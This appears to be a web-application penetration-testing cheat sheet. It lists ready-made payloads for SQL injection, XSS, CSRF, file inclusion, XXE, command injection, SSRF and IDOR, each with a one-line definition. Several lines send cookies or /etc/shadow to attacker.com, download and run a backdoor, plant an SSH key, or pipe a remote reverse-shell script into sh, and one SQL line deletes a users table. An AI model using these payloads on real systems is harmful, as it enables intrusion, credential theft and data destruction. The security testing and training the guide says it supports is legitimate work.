A comprehensive reference guide for security professionals, penetration testers, and developers
This reference guide is designed for legitimate security testing, penetration testing, and vulnerability assessment activities. All content is provided for educational and professional development purposes.
Covering OWASP Top 10, advanced injection techniques, authentication bypasses, and modern attack vectors used in professional security assessments.
All testing should be performed on authorized systems only. This guide emphasizes responsible disclosure and ethical security practices.
Comprehensive reference covering common web application vulnerabilities, test cases, and mitigation strategies
SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.
' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--
XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<img src="x" onerror="alert(document.cookie)">
<a href="javascript:alert(document.cookie)">Click Here</a>
<svg onload=alert(document.domain)>
<script>fetch('//attacker.com/xss?data='+document.cookie)</script>
CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.
<img src="http://example.com/transfer.php?amount=1000&to=attacker_account" />
<form action="http://example.com/transfer.php" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker_account">
<input type="submit" value="Submit request">
</form>
LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.
../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../Windows/win.ini%00
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls
XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://evil.com/exploit">
]>
<foo>&xxe;</foo>
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.
; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)
Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1
IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.
http://foo.bar/viewuser?id=1
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/analytics/report?company_id=COMP_1234
Comprehensive testing framework covering all aspects of web application security testing.
Systematic approach to security testing with clear phases and objectives.
Integrating security testing into the development lifecycle.
Official OWASP resources and documentation
National standards for cybersecurity
Security training and certification resources
Most dangerous software weaknesses
Penetration Testing Execution Standard
Adversarial tactics and techniques knowledge base